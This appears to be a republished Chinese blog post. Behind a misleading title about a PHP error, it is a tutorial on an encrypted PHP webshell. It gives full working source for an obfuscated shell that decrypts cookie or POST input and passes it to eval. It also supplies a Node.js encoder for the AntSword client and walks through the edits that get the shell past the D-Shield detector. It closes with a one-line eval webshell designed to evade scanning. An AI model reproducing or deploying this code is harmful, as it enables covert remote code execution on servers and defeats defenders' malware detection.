php中为什么提交的命令大于11个字符就报错

这篇文章给大家介绍php中为什么提交的命令大于11个字符就报错,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x01 问题分析

php中为什么提交的命令大于11个字符就报错在地气文章末尾留下了送给大家的彩蛋(认真读文章的我肯定不会中标~)。
下边就和大家分享一下彩蛋的蛋是怎么玩儿的。

php中为什么提交的命令大于11个字符就报错

在地气哥Payload工具中,key的值被复制了多次,为的是当我们输入Payload语句被程序进行serialize之后,将每一位都进行ASCII码后的异或运算,来逆推出加密的Base64代码,我们可以从第25-28行的语句中看到逆推过程,是因为从substr中来逐步ASCII码。

我们看一下当substr函数返回空时,情况是怎么样的。

php中为什么提交的命令大于11个字符就报错

我们看到,当substr截取不到任何东西时,PHP返回“空”,但是在进行ord强制转换后,返回的是实打实的0,因为地气哥中的key是写死的,当我们生成的Payload比较多的时候,就会出现0去异或程序中生成的第一次加密Payload某一位的情况,这显然是不合理的。

0x02 问题解决

解决该问题最有效的方法应该就是让程序动态的去复制粘贴Key,这样可以达到长度无限的情况。
这里笔者粘贴出已修改的脚本:

php中为什么提交的命令大于11个字符就报错

<?php
$str = array(
    'ak'    =>  'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
    'a'     =>  'e',
    'd'     =>  $_GET['payload']
);

$seria = serialize($str);

$cookiepre = '';
$pass = str_repeat('t', strlen($seria) - 1);
$text = '';
for($i = 0; $i < strlen($seria); $i++){
    $text .= chr(ord($seria[$i]) ^ ord($pass));
}

echo $pass . '<br>';

$key = $str['ak'];
$value = '';
for($i = 0; $i < strlen($text); $i++){
    if(!$key[$i]){
        $key .= $str['ak'];
    }
    $value .= chr(ord($text[$i]) ^ ord($key[$i]));
}
echo base64_encode($value);

测试效果:

php中为什么提交的命令大于11个字符就报错

成功解决了Payload长度问题。

0x03 神兵利器,何不利用?

既然解决了Payload长度问题,那么如果我们可以将该马儿更加方便的使用,那该多好啊。
笔者想到的是,如果可以使用蚁剑去连接,那岂不是舒服的很。毕竟该国外马儿加密的流量非常强悍的。
当然我们要想要与蚁剑进行交互,我们首先要解决一个问题,该问题是马儿中的unserialize函数。

php中为什么提交的命令大于11个字符就报错

Unserialize函数是用来反序列化的,但是他方便了PHP的同时却不太适合蚁剑,因为蚁剑是基于nodeJs而开发,同时遵循了Js的语法规则,我们知道在Js中定义数组必须为索引下标,在PHP中定义数组下标可以是字符串类型,这牵扯到了该马儿的核心:第48行的$vv[‘ak’]。如果我们使用unserialize函数,可能不太方便Js与PHP的交互。

在一个正常的WEB应用中,前台(Js)与后台(PHP/JAVA等)语言中,Json为主要的传输数据的格式,这里笔者将unserialize函数改为json_decode。如图:

php中为什么提交的命令大于11个字符就报错

这样起来我们就可以在nodeJs与PHP之间搭建一个沟通的桥梁。

新马儿代码:

<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"/x47/x4c/x4fB/x41/x4c/x53"}['a904'] = "/x2f/x25/x32/x54/x75/x3a/x5e/x36/x31/x48/x21/x5b/x30/x66/x20/x5f/x56/x5a/x4d/x23/x3e/x37/x71/x29/x26/x2c/x68/x7e/x5c/x9/x64/x69/x6e/x3c/x6b/x2b/x61/x2d/x4a/x47/x42/x7c/xa/x6a/x7b/x6f/x52/x27/x4c/x39/x55/x63/x4b/x7a/x49/x3f/x5d/x76/x33/x59/x43/x62/x24/x38/x79/x70/x72/x67/x28/x35/x46/x3d/x7d/x65/x57/x41/x53/x44/x73/x60/x58/x34/x77/x22/x6c/x6d/x4e/x45/x4f/x40/x78/x74/x50/xd/x2a/x2e/x3b/x51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
        define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
        $vv = NULL;
        $kk = NULL;
        $w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
        global $c77700426;
        function  e664fd($vv, $kk){
        global $w8fd00d8;
        $n513761 = "";
        for ($i=0;$i<strlen($vv);){
                for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
                        $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
                }
        }
        return $n513761;
        }

        function  x184f5cc($vv, $kk){
                global $w8fd00d8;
                global $c77700426;
                return e664fd(e664fd($vv, $c77700426), $kk);
        }

        foreach ($_COOKIE as $k=>$v){
        $vv = $v;
        $kk = $k;
        }

        if (!$vv){
                foreach ($_POST as $k=>$v){
                $vv = $v;
                $kk = $k;
                }
        }

        $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true);
        
        if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
                if ($vv['a'] == 'i'){
                        $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
                        echo @serialize($l71c40);
                }
                elseif ($vv['a'] == 'e'){
                eval/*r49557ec*/($vv['d']);
                }
                }
                exit();
        }

?>

0x04 蚁剑改造及使用演示

下边笔者就编写了一个蚁剑的编码器,他用于链接该木马。
编码器代码:

/**
 * php::base64编码器
 * Create at: 2020/10/14 13:38:35
 */

'use strict';
/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例
  let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']};
  let objStr = JSON.stringify(obj);
  // 生成一个随机变量名
  let pass = 't';
  let t = pass.repeat(obj.d.length - 1);
  
  let text = '';
  for(let i = 0; i < objStr.length; i ++){
    text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt());
  }
  let key = obj.ak;
  var value = '';
  for(let i = 0; i < text.length; i++){
    if(!key[i]){
      key += obj.ak;
    }
    value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt());
  }
  data[t] = Buffer.from(value).toString('base64');
  

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

当然,该编码器的第15行的ak值,需要与马儿中的key所对应。

演示:

php中为什么提交的命令大于11个字符就报错

(马儿密码任意即可)

0x05 狗儿的友情提示

该马儿流量是很强悍了,但是脚本本身并不免杀。
我们看一下马儿被D盾吊锤:

php中为什么提交的命令大于11个字符就报错

怎么办呢?绕啊,这么好的马子,编码器都完成了,不能前功尽弃!

看到提示eval后门,参数$vv那边有问题,我们看一下:

php中为什么提交的命令大于11个字符就报错

很简单,使用NULL拼接大法(虽然一些普遍的马儿都已经过不了了)。

php中为什么提交的命令大于11个字符就报错

现在不报eval的错误了,有戏!

可以看到爆出$GLOBALS的错误,我们直接转移到第6行看一下。

php中为什么提交的命令大于11个字符就报错

该代码对整个马儿不太影响,直接删掉!

php中为什么提交的命令大于11个字符就报错

我们在看一下结果:

php中为什么提交的命令大于11个字符就报错

ByPass!

0x06 通过该马解锁的绕过方式

通过地气哥的一些分析,从其中得到一些灵感,NULL拼接不再孤独,再次奔放~!
之前一直疏忽一个问题,$GLOBALS到底里面存放一些什么东西,今天,我们var_dump一下看看。

php中为什么提交的命令大于11个字符就报错

可以看到$_GET/$_POST/$_COOKIE都存放在这些东西里面。

这个时候笔者想到了eval/**/()格式,以及一些变量值的混淆,写出第二个简约一句话木马。

<?php
$a = $GLOBALS;
$str = '_GET';
eval(''. $a[$str]['c']. NULL);

Phpinfo:

php中为什么提交的命令大于11个字符就报错

D盾测试:

php中为什么提交的命令大于11个字符就报错

关于php中为什么提交的命令大于11个字符就报错就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/tech/safety/227662.html

(0)
上一篇 2022年1月10日 09:35
下一篇 2022年1月10日 09:36

相关推荐

发表回复

登录后才能评论